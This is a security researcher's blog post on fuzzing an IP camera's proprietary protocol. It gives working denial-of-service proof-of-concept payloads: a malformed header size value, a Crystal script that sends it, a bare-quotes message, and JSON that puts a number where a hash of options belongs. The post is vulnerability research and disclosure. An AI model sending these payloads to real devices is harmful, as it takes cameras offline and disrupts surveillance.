

Date: 2019-09-04 Author: Ian Rash Index: #8

During my fuzzing with Radamsa I uncovered a DoS that would take my camera down via the unprivileged user account. Lets find out exactly what caused the crash!

The first thing I did was backup the string, then I cut pieces out until the crash stopped working.

The first thing I did was cut out the "message" portion of the packet, the DoS still worked. After, I started removing bits of the header, which was also the wrong size. I also changed values in it to see what caused the crash and what didn't. I found that a size field over 0x80000000 would cause the crash.

```
crash_string = "\xFF" + ("\"x00"*13) + "\x85\x05" + "\x00\x00\x00\x80"
```

This could mean a couple things, but most likely that someone used a signed variable for an unsigned integer, since size can never be below 0, this could cause an integer overflow error of some kind, most likely because the program is trying to read in a message size, either far beyond what was expected, or in the negative, causing a crash.

Currently, the exploit uses the magic for OPMonitor, but this vulnerability should affect any command we are allowed to access, and since the "login" command is the most unprivileged, that should be the next target.

```
crash_string = "\xFF" + ("\"x00"*13) + "\xe8\x03" + "\x00\x00\x00\x80"
socket = MagicSocket.new("192.168.11.109", 34567)
#socket.login "default", Dahua.digest("tluaFed")
socket.send crash_string
puts "SENT: #{crash_string.inspect}"
reply = socket.receive_message
puts "GOT: #{reply.message}"
```

This produces:

```
SENT: "\xFF\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\xE8\u0000"
```

Unhandled exception: (MagicError::ReceiveEOF)

```
from src/magic_fuzzer/magic_socket.cr:0:7 in 'receive_message'
from src/sandbox.cr:69:1 in '__crystal_main'
from /usr/share/crystal/src/crystal/main.cr:97:5 in 'main_user_code'
from /usr/share/crystal/src/crystal/main.cr:86:7 in 'main'
from /usr/share/crystal/src/crystal/main.cr:106:3 in 'main'
from __libc_start_main
from _start
from ???
```

The ReceiveEOF proves that the socket closed and the server went down.

The camera will go down for about 2 minutes, while still responding to pings for a short period of time while it reboots. The client cannot connect during this reboot period.

The camera will go down for about 2 minutes, while still responding to pings for a short period of time while it reboots. The client cannot connect during this reboot period.

While we do have an already working DoS exploit, there is a lot to be learned in further potential fuzzing. Working with Radamsa was a snap, and helped me find two new vulnerabilities, the "Message Quotes" and "Options Wrong Type" vulnerabilities.

Message Quotes DoS

This one takes advantage of some error made in JSON processing, when given a message that consists entirely of two quotes, the camera crashes. Not really too much to say about it. Like the size int problem, this one works on all

commands.

Options Wrong Type DoS

This takes advantage of another issue in the JSON processing the camera's server does. This one only works on specific commands; OPTalk, OPMonitor, and OPRecordSnap. When these commands are sent, they have the option of including a hash of options under the root as the same name of command.

Example:

```
{
  "Name": "OPMonitor",
  "OPMonitor": {
    "Action": "Claim",
    "Action1": "Start",
    "Parameter": {
      "Channel": 0,
      "CombinMode": "NONE",
      "StreamType": "Main",
      "TransMode": "TCP"
    }
  },
  "SessionID": "0x0000000007"
}
```

Under the "OPMonitor" key, there is a hash of options. The server always expects the value under this key to always be a hash. However, weak checking, poor testing, and bad error handling allows us to crash the camera by swapping the hash with a non-nested type, like a string or a number. For example, the following string crashes the camera.

```
{
  "Name": "OPMonitor",
  "OPMonitor": 0,
  "SessionID": "0x0000000007"
}
```

TAGGED SKILLS:

 Exploit PoC Development  Security Research  Fuzzing